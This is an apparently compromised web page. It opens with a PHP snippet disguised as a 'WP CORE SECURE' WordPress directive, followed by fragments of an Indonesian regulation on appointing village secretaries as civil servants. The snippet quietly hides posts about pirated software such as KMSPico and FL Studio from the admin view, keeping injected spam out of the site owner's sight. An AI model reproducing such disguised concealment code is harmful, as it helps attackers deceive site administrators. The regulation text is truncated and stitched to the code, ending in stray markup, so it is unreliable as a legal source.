# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
BAB II, PERSYARATAN PENGANGKATAN
Pasal 2
Sekretaris Desa yang diangkat dengan sah sampai dengan 15 Oktober 2004 dan masih melaksanakan tugas sampai dengan berlakunya Peraturan Pemerintah ini diangkat langsung menjadi PNS, apabila memenuhi persyaratan.
Pasal 3
(1) Persyaratan sebagaimana dimaksud dalam Pasal 2 meliputi:
(2) Sekretaris Desa yang memenuhi persyaratan diangkat sebagai PNS dalam pangkat Pengatur Muda golongan ruang II/a.
(3) Sekretaris Desa yang memiliki ijazah lebih tinggi dari Surat Tanda Tamat Belajar (STTB) Sekolah Lanjutan Tingkat Atas (SLTA) diangkat sebagai PNS dalam pangkat/golongan ruang sesuai dengan ijasah SLTA.
(4) Sekretaris Desa yang memiliki ijazah lebih rendah dari STTB SLTA diangkat sebagai PNS dalam pangkat/golongan ruang sesuai dengan ijasah yang dimiliki.
Pasal 3, ayat 4, Penjelasan :
Ayat (4)
Sekretaris Desa yang belum memenuhi persyaratan ijazah SLTA dan pangkat Pengatur Muda golongan ruang II/a tetap melaksanakan tugas sebagai Penjabat Sekretaris Desa.
BAB IV, SEKRETARIS DESA YANG TIDAK DIANGKAT MENJADI PNS
Pasal 10
(4) Penetapan besaran tunjangan kompensasi bagi setiap Sekretaris Desa sebagaimana dimaksud pada ayat (3) ditetapkan dengan Keputusan Bupati/Walikota.
Dokumen Terkait :
]]>